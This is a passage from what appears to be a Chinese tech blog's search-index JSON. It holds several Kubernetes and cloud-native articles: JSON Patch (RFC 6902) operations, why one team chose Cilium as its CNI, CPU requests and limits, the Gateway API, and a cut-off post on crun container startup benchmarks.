\"remove\" } 是完全等价的。 patch 对象的执行是按照数组顺序执行的,比如上例中先执行了 replace,然后再执行 remove。 patch 操作是原子的,即使我们声明了多个操作,但最终的结果是要么全部成功,要么保持原数据不变,不存在局部变更。也就是说如果多个操作中的某个操作异常失败了,那么原数据就不变。 ","date":"2023-04-07","objectID":"/rfc6902-json-patch/:2:0","tags":["RFC 标准","Kubernetes"],"title":"什么?修改 JSON 内容居然还有个 JSON PATCH 标准","uri":"/rfc6902-json-patch/"},{"categories":["Uncate"],"content":"op op 只能是以下操作之一: add remove replace move copy test 这些操作我相信不用做任何说明你就能理解其具体的含义,唯一要说明的可能就是 test,test 操作其实就是检查 path 位置的值与 value 的值“相等”。 add add 操作会根据 path 定义去执行不同的操作: 如果 path 是一个数组 index ,那么新的 value 值会被插入到执行位置。 如果 path 是一个不存在的对象成员,那么新的对象成员会被添加到该对象中。 如果 path 是一个已经存在的对象成员,那么该对象成员的值会被 value 所替换。 add 操作必须另外声明 path 和 value。 path 目标位置必须是以下之一: 目标文档的根 - 如果 path 指向的是根,那么 value 值就将是整个文档的内容。 一个已存在对象的成员 - 应用后 value 将会被添加到指定位置,如果成员已存在则其值会被替换。 一个已存在数组的元素 - 应用后 value 值会被添加到数组中的指定位置,任何在指定索引位置或之上的元素都会向右移动一个位置。指定的索引不能大于数组中元素的数量。可以使用 - 字符来索引数组的末尾。 由于此操作旨在添加到现有对象和数组中,因此其目标位置通常不存在。尽管指针的错误处理算法将被调用,但本规范定义了 add 指针的错误处理行为,以忽略该错误并按照指定方式添加值。 然而,对象本身或包含它的数组确实需要存在,并且如果不是这种情况,则仍然会出错。 例如,对数据 { \"a\": { \"foo\": 1 } } 执行 add 操作,path 为 “/a/b” 时不是错误。但如果对数据 { \"q\": { \"bar\": 2 } } 执行同样的操作则是一种错误,因为 “a” 不存在。 示例: add 一个对象成员 # 源数据: { \"foo\": \"bar\"} # JSON Patch: [ { \"op\": \"add\", \"path\": \"/baz\", \"value\": \"qux\" } ] # 结果: { \"baz\": \"qux\", \"foo\": \"bar\" } add 一个数组元素 # 源数据: { \"foo\": [ \"bar\", \"baz\" ] } # JSON Patch: [ { \"op\": \"add\", \"path\": \"/foo/1\", \"value\": \"qux\" } ] # 结果: { \"foo\": [ \"bar\", \"qux\", \"baz\" ] } add 一个嵌套成员对象 # 源数据: { \"foo\": \"bar\" } # JSON Patch: [ { \"op\": \"add\", \"path\": \"/child\", \"value\": { \"grandchild\": { } } } ] # 结果: { \"foo\": \"bar\", \"child\": { \"grandchild\": {} } } 忽略未识别的元素 # 源数据: { \"foo\": \"bar\" } # JSON Patch: [ { \"op\": \"add\", \"path\": \"/baz\", \"value\": \"qux\", \"xyz\": 123 } ] # 结果: { \"foo\": \"bar\", \"baz\": \"qux\" } add 到一个不存在的目标失败 # 源数据: { \"foo\": \"bar\" } # JSON Patch: [ { \"op\": \"add\", \"path\": \"/baz/bat\", \"value\": \"qux\" } ] # 失败,因为操作的目标位置既不引用文档根,也不引用现有对象的成员,也不引用现有数组的成员。 add 一个数组 # 源数据: { \"foo\": [\"bar\"] } # JSON Patch: [ { \"op\": \"add\", \"path\": \"/foo/-\", \"value\": [\"abc\", \"def\"] } ] # 结果: { \"foo\": [\"bar\", [\"abc\", \"def\"]] } remove remove 将会删除 path 目标位置上的值,如果 path 指向的是一个数组 index ,那么右侧其余值都将左移。 示例: remove 一个对象成员 # 源数据: { \"baz\": \"qux\", \"foo\": \"bar\" } # JSON Patch: [ { \"op\": \"remove\", \"path\": \"/baz\" } ] # 结果: { \"foo\": \"bar\" } remove 一个数组元素 # 源数据: { \"foo\": [ \"bar\", \"qux\", \"baz\" ] } # JSON Patch: [ { \"op\": \"remove\", \"path\": \"/foo/1\" } ] # 结果: { \"foo\": [ \"bar\", \"baz\" ] } replace replace 操作会将 path 目标位置上的值替换为 value。此操作与 remove 后 add 同样的 path 在功能上是相同的。 示例: replace 某个值 # 源数据: { \"baz\": \"qux\", \"foo\": \"bar\" } # JSON Patch: [ { \"op\": \"replace\", \"path\": \"/baz\", \"value\": \"boo\" } ] # 结果: { \"baz\": \"boo\", \"foo\": \"bar\" } move move 操作将 from 位置的值移动到 path 位置。from 位置不能是 path 位置的前缀,也就是说,一个位置不能被移动到它的子级中。 示例: move 某个值 # 源数据: { \"foo\": { \"bar\": \"baz\", \"waldo\": \"fred\" }, \"qux\": { \"corge\": \"grault\" } } # JSON Patch: [ { \"op\": \"move\", \"from\": \"/foo/waldo\", \"path\": \"/qux/thud\" } ] # 结果: { \"foo\": { \"bar\": \"baz\" }, \"qux\": { \"corge\": \"grault\", \"thud\": \"fred\" } } move 一个数组元素 # 源数据: { \"foo\": [ \"all\", \"grass\", \"cows\", \"eat\" ] } # JSON Patch: [ { \"op\": \"move\", \"from\": \"/foo/1\", \"path\": \"/foo/3\" } ] # 结果: { \"foo\": [ \"all\", \"cows\", \"eat\", \"grass\" ] } copy copy 操作将 from 位置的值复制到 path 位置。 test test 操作会检查 path 位置的值是否与 value “相等”。 这里,“相等”意味着 path 位置的值和 value 的值是相同的JSON类型,并且它们遵循以下规则: 字符串:如果它们包含相同数量的 Unicode 字符并且它们的码点是逐字节相等,则被视为相等。 数字:如果它们的值在数值上是相等的,则被视为相等。 数组:如果它们包含相同数量的值,并且每个值可以使用此类型特定规则将其视为与另一个数组中对应位置处的值相等,则被视为相等。 对象:如果它们包含相同数量​​的成员,并且每个成员可以通过比较其键(作为字符串)和其值(使用此类型特定规则)来认为与其他对象中的成员相等,则被视为相等 。 文本(false,true 和 null):如果它们完全一样,则被视为相等。 请注意,所进行的比较是逻辑比较;例如,数组成员之间的空格不重要。 示例: test 某个值成功 # 源数据: { \"baz\": \"qux\", \"foo\": [ \"a\", 2, \"c\" ] } # JSON Patch: [ { \"op\": \"test\", \"path\": \"/baz\", \"value\": \"qux\" }, { \"op\": \"test\", \"path\": \"/foo/1\", \"value\": 2 } ] test 某个值错误 # 源数据: { \"baz\": \"qux\" } # JSON Patch: [ { \"op\": \"test\", \"path\": \"/baz\", \"value\": \"bar\" } ] ~ 符号转义 ~ 字符是 JSON 指针中的关键字。因此,我们需要将其编码为 〜0 # 源数据: { \"/\": 9, \"~1\": 10 } # JSON Patch: [ {\"op\": \"test\", \"path\": \"/~01\", \"value\": 10} ] # 结果: { \"/\": 9, \"~1\": 10 } 比较字符串和数字 # 源数据: { \"/\": 9, \"~1\": 10 } # JSON Patch: [ {\"op\": \"test\", \"path\": \"/~01\", \"value\": \"10\"} ] # 失败,因为不遵循上述相等的规则。 ","date":"2023-04-07","objectID":"/rfc6902-json-patch/:2:1","tags":["RFC 标准","Kubernetes"],"title":"什么?修改 JSON 内容居然还有个 JSON PATCH 标准","uri":"/rfc6902-json-patch/"},{"categories":["Uncate"],"content":"结语 使用 JSON PATCH 的原因之一其实是为了避免在只需要修改某一部分内容的时候重新发送整个文档。JSON PATCH 也早已应用在了 Kubernetes 等许多项目中。 ","date":"2023-04-07","objectID":"/rfc6902-json-patch/:3:0","tags":["RFC 标准","Kubernetes"],"title":"什么?修改 JSON 内容居然还有个 JSON PATCH 标准","uri":"/rfc6902-json-patch/"},{"categories":["Kubernetes"],"content":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","date":"2023-04-03","objectID":"/why-cilium-for-k8s/","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":" 文本翻译自: https://blog.palark.com/why-cilium-for-kubernetes-networking/ 原文作者是 Palark 平台工程师 Anton Kuliashov,其说明了选择 Cilium 作为 Kubernetes 网络接口的原因以及喜爱 Cilium 的地方。 多亏了 CNI(容器网络接口),Kubernetes 提供了大量选项来满足您的网络需求。在多年依赖简单的解决方案之后,我们面临着对高级功能日益增长的客户需求。Cilium 将我们 K8s 平台中的网络提升到了一个新的水平。 ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:0:0","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"背景 我们为不同行业、规模和技术堆栈的公司构建和维护基础设施。他们的应用程序部署到私有云和公共云以及裸机服务器。他们对容错性、可扩展性、财务费用、安全性等方面有不同的要求。在提供我们的服务时,我们需要满足所有这些期望,同时足够高效以应对新兴的与基础设施相关的多样性。 多年前,当我们构建基于 Kubernetes 的早期平台时,我们着手实现基于可靠开源组件的生产就绪、简单、可靠的解决方案。为实现这一目标,我们的 CNI 插件的自然选择似乎是 Flannel(与 kube-proxy 一起使用)。 当时最受欢迎的选择是 Flannel 和 Weave Net。Flannel 更成熟,依赖性最小,并且易于安装。我们的基准测试也证明它的性能很高。因此,我们选择了它,并最终对我们的选择感到满意。 同时,我们坚信有一天会达到极限。 ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:1:0","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"随着需求的增长 随着时间的推移,我们获得了更多的客户、更多的 Kubernetes 集群以及对平台的更具体的要求。我们遇到了对更好的安全性、性能和可观测性的日益增长的需求。这些需求适用于各种基础设施元素,而网络显然是其中之一。最终,我们意识到是时候转向更高级的 CNI 插件了。 许多问题促使我们跳到下一阶段: 一家金融机构执行了严格的“默认禁止一切”规则。 一个广泛使用的门户网站的集群有大量的服务,这对 kube-proxy 产生了压倒性的影响。 PCI DSS 合规性要求另一个客户实施灵活而强大的网络策略管理,并在其之上具有良好的可观测性。 在 Flannel 使用的 iptables 和 netfilter 中,遇到大量传入流量的多个其他应用程序面临性能问题。 我们不能再受现有限制的阻碍,因此决定在我们的 Kubernetes 平台中寻找另一个 CNI —— 一个可以应对所有新挑战的 CNI。 ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:2:0","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"为什么选择 Cilium 今天有很多可用的 CNI 选项。我们想坚持使用 eBPF,它被证明是一项强大的技术,在可观测性、安全性等方面提供了许多好处。考虑到这一点,当您想到 CNI 插件时,会出现两个著名的项目:Cilium 和 Calico。 总的来说,他们两个都非常棒。但是,我们仍然需要选择其中之一。Cilium 似乎在社区中得到了更广泛的使用和讨论:更好的 GitHub 统计数据(例如 stars、forks 和 contributors)可以作为证明其价值的某种论据。它也是一个 CNCF 项目。虽然它不能保证太多,但这仍然是一个有效的观点,所有事情都是平等的。 在阅读了关于 Cilium 的各种文章后,我们决定尝试一下,并在几个不同的 K8s 集群上进行了各种测试。事实证明,这是一次纯粹的积极体验,揭示了比我们预期更多的功能和好处。 ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:3:0","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"我们喜欢的 Cilium 的主要功能 在考虑是否使用 Cilium 来解决我们遇到的上述问题时,我们喜欢 Cilium 的地方如下: ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:4:0","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"1. 性能 使用 bpfilter(而不是 iptables)进行路由意味着将过滤任务转移到内核空间,这会产生令人印象深刻的性能提升。这正是项目设计、大量文章和第三方基准测试所承诺的。我们自己的测试证实,与我们之前使用的 Flannel + kube-proxy 相比,处理流量速度有显着提升。 eBPF host-routing compared to using iptables. source: “CNI Benchmark: Understanding Cilium Network Performance” 有关此主题的有用资料包括: Why is the kernel community replacing iptables with BPF? BPF, eBPF, XDP and Bpfilter… What are These Things and What do They Mean for the Enterprise? kube-proxy Hybrid Modes ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:4:1","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"2. 更好的网络策略 CiliumNetworkPolicy CRD 扩展了 Kubernetes NetworkPolicy API。它带来了 L7(而不仅仅是 L3/L4)网络策略支持网络策略中的 ingress 和 egress 以及 port ranges 规范等功能。 正如 Cilium 开发人员所说:“理想情况下,所有功能都将合并到标准资源格式中,并且不再需要此 CRD。” ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:4:2","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"3. 节点间流量控制 借助 CiliumClusterwideNetworkPolicy ,您可以控制节点间流量。这些策略适用于整个集群(非命名空间),并为您提供将节点指定为源和目标的方法。它使过滤不同节点组之间的流量变得方便。 ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:4:3","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"4. 策略执行模式 易于使用的 策略执行模式 让生活变得更加轻松。 default 模式适合大多数情况:没有初始限制,但一旦允许某些内容,其余所有内容都会受到限制*。Always 模式 —— 当对所有端点执行策略时 —— 对于具有更高安全要求的环境很有帮助。 ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:4:4","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"5. Hubble 及其 UI Hubble 是一个真正出色的网络和服务可观测性以及视觉渲染工具。具体来说,就是对流量进行监控,实时更新服务交互图。您可以轻松查看正在处理的请求、相关 IP、如何应用网络策略等。 现在举几个例子,说明如何在我的 Kubernetes 沙箱中使用 Hubble。首先,这里我们有带有 Ingress-NGINX 控制器的命名空间。我们可以看到一个外部用户通过 Dex 授权后进入了 Hubble UI。会是谁呢?… 现在,这里有一个更有趣的例子:Hubble 花了大约一分钟的时间可视化 Prometheus 命名空间如何与集群的其余部分通信。您可以看到 Prometheus 从众多服务中抓取了指标。多么棒的功能!在您花费数小时为您的项目绘制所有这些基础架构图之前,您应该已经知道了! ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:4:5","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"6. 可视化策略编辑器 此在线服务 提供易于使用、鼠标友好的 UI 来创建规则并获取相应的 YAML 配置以应用它们。我在这里唯一需要抱怨的是缺少对现有配置进行反向可视化的功能。 再此说明,这个列表远非完整的 Cilium 功能集。这只是我根据我们的需要和我们最感兴趣的内容做出的有偏见的选择。 ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:4:6","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"Cilium 为我们做了什么 让我们回顾一下我们的客户遇到的具体问题,这些问题促使我们开始对在 Kubernetes 平台中使用 Cilium 产生兴趣。 第一种情况下的“默认禁止一切”规则是使用上述策略执行方式实现的。通常,我们会通过指定此特定环境中允许的内容的完整列表并禁止其他所有内容来依赖 default 模式。 以下是一些可能对其他人有帮助的相当简单的策略示例。您很可能会有几十个或数百个这样的策略。 允许任何 Pod 访问 Istio 端点: apiVersion: cilium.io/v2 kind: CiliumClusterwideNetworkPolicy metadata: name: all-pods-to-istio-internal-access spec: egress: - toEndpoints: - matchLabels: k8s:io.kubernetes.pod.namespace: infra-istio toPorts: - ports: - port: \"8443\" protocol: TCP endpointSelector: {} 允许给定命名空间内的所有流量: apiVersion: cilium.io/v2 kind: CiliumNetworkPolicy metadata: name: allow-ingress-egress-within-namespace spec: egress: - toEndpoints: - {} endpointSelector: {} ingress: - fromEndpoints: - {} 允许 VictoriaMetrics 抓取给定命名空间中的所有 Pod: apiVersion: cilium.io/v2 kind: CiliumNetworkPolicy metadata: name: vmagent-allow-desired-namespace spec: egress: - toEndpoints: - matchLabels: k8s:io.kubernetes.pod.namespace: desired-namespace endpointSelector: matchLabels: k8s:io.cilium.k8s.policy.serviceaccount: victoria-metrics-agent-usr k8s:io.kubernetes.pod.namespace: vmagent-system 允许 Kubernetes Metrics Server 访问 kubelet 端口: apiVersion: cilium.io/v2 kind: CiliumClusterwideNetworkPolicy metadata: name: host-firewall-allow-metrics-server-to-kubelet spec: ingress: - fromEndpoints: - matchLabels: k8s:io.cilium.k8s.policy.serviceaccount: metrics-server k8s:io.kubernetes.pod.namespace: my-metrics-namespace toPorts: - ports: - port: \"10250\" protocol: TCP nodeSelector: matchLabels: {} 至于其他问题,我们最初遇到的挑战是: 案例 #2 和 #4,由于基于 iptables 的网络堆栈性能不佳。我们提到的基准和我们执行的测试在实际操作中证明了自己。 Hubble 提供了足够水平的可观测性,这在案例 #3 中是必需的。 ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:5:0","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"下一步是什么? 总结这次经验,我们成功解决了与 Kubernetes 网络相关的所有痛点。 关于 Cilium 的总体未来,我们能说些什么?虽然它目前是一个孵化的 CNCF 项目,但它已于去年年底申请毕业。这需要一些时间才能完成,但这个项目正朝着一个非常明确的方向前进。最近,在 2023 年 2 月,Cilium 宣布 通过了两次安全审计,这是进一步毕业的重要一步。 我们正在关注该项目的路线图,并等待一些功能和相关工具的实施或变得足够成熟。(没错,Tetragon 将会很棒!) 例如,虽然我们在高流量集群中使用 Kubernetes EndpointSlice CRD,但相关的Cilium 功能 目前处于 beta 阶段 —— 因此,我们正在等待其稳定发布。我们正在等待稳定的另一个测试版功能是 本地重定向策略,它将 Pod 流量本地重定向到节点内的另一个后端 Pod,而不是整个集群内的随机后端 Pod。 ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:6:0","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"后记 在生产环境中确定了我们新的网络基础设施并评估了它的性能和新功能之后,我们很高兴决定采用 Cilium,因为它的好处是显而易见的。对于多样化且不断变化的云原生世界来说,这可能不是灵丹妙药,而且绝不是最容易上手的技术。然而,如果你有动力、知识和一点冒险欲望,那么它 100% 值得尝试,而且很可能会得到多方面的回报。 ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:7:0","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"在 Kubernetes 中应该如何设置 CPU 的 requests 和 limits","date":"2023-03-31","objectID":"/k8s-cpu-request-limit/","tags":["Kubernetes"],"title":"在 Kubernetes 中应该如何设置 CPU 的 requests 和 limits","uri":"/k8s-cpu-request-limit/"},{"categories":["Kubernetes"],"content":" 文本翻译自: https://itnext.io/cpu-limits-and-requests-in-kubernetes-fa9d55948b7c 在 Kubernetes 中,我应该如何设置 CPU 的 requests 和 limits? 热门答案包括: 始终使用 limits ! 永远不要使用 limits,只使用 requests ! 都不用;可以吗? 让我们深入研究它。 在 Kubernetes 中,您有两种方法来指定一个 pod 可以使用多少 CPU: Requests 通常用于确定平均消耗。 Limits 设置允许的最大资源数。 Kubernetes 调度器使用 requests 来确定 pod 应该分配到集群中的哪个节点。 由于调度器并不知道实际消耗(pod 尚未启动),它需要一个提示。 但它并没有就此结束。 CPU requests 还用于将同一个节点上的 CPU 资源如何分配给不同的容器。 让我们看一个例子: 一个节点只有一个 CPU。 容器 A requests 0.1 个 vCPU。 容器 B requests 0.2 个 vCPU。 当两个容器都尝试使用 100% 的可用 CPU 时会发生什么? 由于 CPU 请求不限制消耗,因此两个容器都将使用所有可用的 CPU。 但是,由于容器 B 的请求与另一个相比增加了一倍,因此最终的 CPU 分配是:容器 1 使用 0.3vCPU,另一个使用 0.6vCPU(双倍数量)。 Requests 适用于: 设置基准(给我至少 X 数量的 CPU)。 设置 pod 之间的关系(这个 pod A 使用的 CPU 是另一个的两倍)。 但不影响硬性限制。 为此,您需要 CPU limits。 设置 CPU limits 时,您定义了 period 周期和 quota 配额。 例如: 周期:100000 微秒 (0.1s)。 配额:10000 微秒 (0.01s)。 我只能每 0.1 秒使用 CPU 0.01 秒。 这也缩写为“100m”。 如果你的容器有硬限制并且想要更多的 CPU,它必须等待下一个周期。 您的进程受到限制。 那么您应该在 Pod 中如何设置 CPU requests 和 limits? 一种简单(但不准确)的方法是将最小的 CPU 单元计算为: REQUEST = NODE_CORES * 1000 / MAX_NUM_PODS_PER_NODE 对于 1 个 vCPU 节点和 10 个 Pod ,最小单元就是 1 * 1000 / 10 = 100Mi。 将最小单位或其乘数分配给您的容器。 例如,如果您不知道 Pod A 需要多少 CPU,但您确定它是 Pod B 的两倍,您可以设置: Request A:1 个单元 Request B:2 个单位 如果容器使用 100% CPU,它们将根据它们的权重 (1:2) 重新分配 CPU。 更好的方法是监控应用程序并得出平均 CPU 利用率。 您可以使用现有的监控基础设施来完成此操作,或者使用 Vertical Pod Autoscaler 来监视并报告平均请求值。 你应该如何设置 limits? 您的应用可能已经有“硬性”限制。(例如单线程的应用即使分配了 2 个核,也最多只使用 1 个核)。 你可以设置:limit = 99th 分位数 + 30–50%。 您应该分析应用程序(或使用 VPA)以获得更详细的答案。 您应该始终设置 CPU requests 吗? 绝对没错。 这是 Kubernetes 中的标准良好实践,可帮助调度器更有效地分配 pod。 您应该始终设置 CPU limits 吗? 这有点争议,但总的来说,我是这么认为的。 你可以进行更深入的了解:https://dnastacio.medium.com/why-you-should-keep-using-cpu-limits-on-kubernetes-60c4e50dfc61 其它的一些相关链接: https://learnk8s.io/setting-cpu-memory-limits-requests https://medium.com/@betz.mark/understanding-resource-limits-in-kubernetes-cpu-time-9eff74d3161b https://nodramadevops.com/2019/10/docker-cpu-resource-limits ","date":"2023-03-31","objectID":"/k8s-cpu-request-limit/:0:0","tags":["Kubernetes"],"title":"在 Kubernetes 中应该如何设置 CPU 的 requests 和 limits","uri":"/k8s-cpu-request-limit/"},{"categories":["Kubernetes"],"content":"Kubernetes Gateway API 介绍","date":"2023-03-28","objectID":"/intro-k8s-gateway-api/","tags":["Kubernetes"],"title":"Kubernetes Gateway API 介绍","uri":"/intro-k8s-gateway-api/"},{"categories":["Kubernetes"],"content":" 文本翻译自: https://medium.com/geekculture/kubernetes-gateway-api-the-intro-you-need-to-read-80965f7acd82 您以前听说过 SIG-NETWORK 的 Kubernetes Gateway API 吗?好吧,可能你们中的大多数人都是第一次遇到这个话题。尽管如此,无论您是第一次听说还是已经以某种方式使用过它,本博客的目的都是为您提供一个基本的和高度的概述来理解这个主题。 从了解对 Kubernetes Gateway API 的需求到探索其用例,本博客旨在为您提供全面的指南,介绍您需要了解的有关 Kubernetes 中服务网络革命性工具的所有信息。 因此,在此博客中,我们将涵盖以下主题: Ingress 资源的约束和限制 四层路由如何暴露服务? Kubernetes SIG-NETWORK 是啥,是什么推动了他们的目标? SIG-NETWORK 开启 Kubernetes Gateway API 项目的原因是什么? 全面了解 Kubernetes Gateway API(第二部分,后续文章会介绍) ","date":"2023-03-28","objectID":"/intro-k8s-gateway-api/:0:0","tags":["Kubernetes"],"title":"Kubernetes Gateway API 介绍","uri":"/intro-k8s-gateway-api/"},{"categories":["Kubernetes"],"content":"Ingress 资源的约束和限制 要了解对 Kubernetes Gateway API 的需求,我们需要了解 ingress 资源,该资源于 2015 年推出,并在 Kubernetes 1.19 中成为了稳定的 API。ingress 资源根据请求 host、path 或两者的组合管理对适当 Kubernetes 服务的外部流量访问。Ingress 资源有助于在同一个负载均衡器下公开多个服务,提供负载均衡、SSL 终止等。 虽然 ingress 资源是第 7 层路由(HTTP、HTTPS)的有效选择,但当它需要为第 4 层流量(TCP、UDP)提供服务时,它就显得不够用了,后者常用于公开诸如数据库、消息代理等服务. ","date":"2023-03-28","objectID":"/intro-k8s-gateway-api/:1:0","tags":["Kubernetes"],"title":"Kubernetes Gateway API 介绍","uri":"/intro-k8s-gateway-api/"},{"categories":["Kubernetes"],"content":"四层路由如何暴露服务? 要为数据库、消息代理等提供 L4 流量,您有多种选择。 一种选择是使用 kubectl port-forward 供开发人员进行内部访问,以保持较低的云成本。 另一种选择是使用 LoadBalancer 类型的服务来对其他服务、开发人员或用户进行外部访问,这是第 4 层路由的简单解决方案。 此外,您可以使用 Kong 或 Istio 等服务网格提供商,它们提供通过单个负载均衡器 IP 地址路由第 4 层和第 7 层流量的功能。 然而,值得注意的是,Istio 和 Kong 等服务网格提供商拥有自己的专有 API,导致在服务第 4 层和第 7 层流量方面缺乏标准化。 ","date":"2023-03-28","objectID":"/intro-k8s-gateway-api/:2:0","tags":["Kubernetes"],"title":"Kubernetes Gateway API 介绍","uri":"/intro-k8s-gateway-api/"},{"categories":["Kubernetes"],"content":"Kubernetes SIG-NETWORK 是什么? SIG-NETWORK 是 Kubernetes 社区中的一个子社区,专注于 Kubernetes 中的网络。SIG-NETWORK 负责开发、维护和支持 Kubernetes 平台的网络相关组件。 SIG-NETWORK 旨在确保 Kubernetes 的网络功能稳健、可扩展,并能够满足各种用例的需求。 ","date":"2023-03-28","objectID":"/intro-k8s-gateway-api/:3:0","tags":["Kubernetes"],"title":"Kubernetes Gateway API 介绍","uri":"/intro-k8s-gateway-api/"},{"categories":["Kubernetes"],"content":"SIG-NETWORK 开启 Kubernetes Gateway API 项目的原因是什么? 目前,Kubernetes 空间中的解决方案提供了自己的网关解决方案和特定的 API,允许它们将第 4 层和第 7 层流量路由到 Kubernetes 服务。 SIG-NETWORK 社区已经启动了 Kubernetes Gateway API,为四层和七层路由流量创建统一的 API 资源和标准。Kubernetes Gateway API 为 Kong 和 Istio 等不同的第三方解决方案提供了一个通用的接口。 虽然该项目目前处于测试版,但该领域的主要参与者已经采用。 Youtube video by kong on API Gateway and demo with their controller Blog from Istio regards API Gateway ","date":"2023-03-28","objectID":"/intro-k8s-gateway-api/:4:0","tags":["Kubernetes"],"title":"Kubernetes Gateway API 介绍","uri":"/intro-k8s-gateway-api/"},{"categories":["Kubernetes"],"content":"结语 总之,Kubernetes Gateway API 正在填补 Kubernetes Ingress 资源留下的标准化空白。尽管处于测试阶段,但它已经得到了 Istio 和 Kong 等知名工具的支持。这证明了 Kubernetes Gateway API 有潜力成为在 Kubernetes 环境中管理网络流量的广泛采用的解决方案。 ","date":"2023-03-28","objectID":"/intro-k8s-gateway-api/:5:0","tags":["Kubernetes"],"title":"Kubernetes Gateway API 介绍","uri":"/intro-k8s-gateway-api/"},{"categories":["Kubernetes"],"content":"提速 30 倍!OCI 容器启动优化的历程","date":"2023-03-28","objectID":"/the-journey-to-speed-up-oci-containers/","tags":["Kubernetes"],"title":"提速 30 倍!OCI 容器启动优化的历程","uri":"/the-journey-to-speed-up-oci-containers/"},{"categories":["Kubernetes"],"content":" 文本翻译自: https://www.scrivano.org/posts/2022-10-21-the-journey-to-speed-up-oci-containers/ 原文作者是 Red Hat 工程师 Giuseppe Scrivano ,其回顾了将 OCI 容器启动的时间提速 30 倍的历程。 当我开始研究 crun (https://github.com/containers/crun) 时,我正在寻找一种通过改进 OCI 运行时来更快地启动和停止容器的方法,OCI 运行时是 OCI 堆栈中负责最终与内核交互并设置容器所在环境的组件。 OCI 运行时的运行时间非常有限,它的工作主要是执行一系列直接映射到 OCI 配置文件的系统调用。 我很惊讶地发现,如此琐碎的任务可能需要花费这么长时间。 免责声明:对于我的测试,我使用了 Fedora 安装中可用的默认内核以及所有库。除了这篇博文中描述的修复之外,这些年来可能还有其他可能影响整体性能的修复。 以下所有用于测试的 crun 版本都是相同的。 对于所有测试,我都使用 hyperfine,它是通过 cargo 安装的。 ","date":"2023-03-28","objectID":"/the-journey-to-speed-up-oci-containers/:0:0","tags":["Kubernetes"],"title":"提速 30 倍!OCI 容器启动优化的历程","uri":"/the-journey-to-speed-up-oci-containers/"},{"categories":["Kubernetes"],"content":"2017年的情况如何 要对比我们与过去相差多大,我们需要回到 2017 年,或者只安装一个旧的 Fedora 映像。对于下面的测试,我使用了基于 Linux 内核 4.5.5 的 Fedora 24。 在新安装的 Fedora 24 上,运行从主分支构建: # hyperfine 'crun run foo' Benchmark 1: 'crun run foo' Time (mean ± σ): 159.2 ms ± 21.8 ms [User: 43.0 ms, System: 16.3 ms] Range (min … max): 73.9 ms … 194.9 ms 39 runs 用户时间和系统时间指的是进程分别在用户态和内核态的耗时。 160 毫秒很多,据我所知,这与我五年前观察到的情况相似。 对 OCI 运行时的分析立即表明,大部分用户时间都花在了 libseccomp 上来编译 seccomp 过滤器。 为了验证这一点,让我们尝试运行一个具有相同配置但没有 seccomp 配置文件的容器: # hyperfine 'crun run foo' Benchmark 1: 'crun run foo' Time (mean ± σ): 139.6 ms ± 20.8 ms [User: 4.1 ms, System: 22.0 ms] Range (min … max): 61.8 ms … 177.0 ms 47 runs 我们使用了之前所需用户时间的 1/10(43 ms -\u003e 4.1 ms),整体时间也有所改善! 所以主要有两个不同的问题:1) 系统时间相当长,2) 用户时间由 libseccomp 控制。我们需要同时解决这两个问题。 现在让我们专注于系统时间,稍后我们将回到 seccomp。 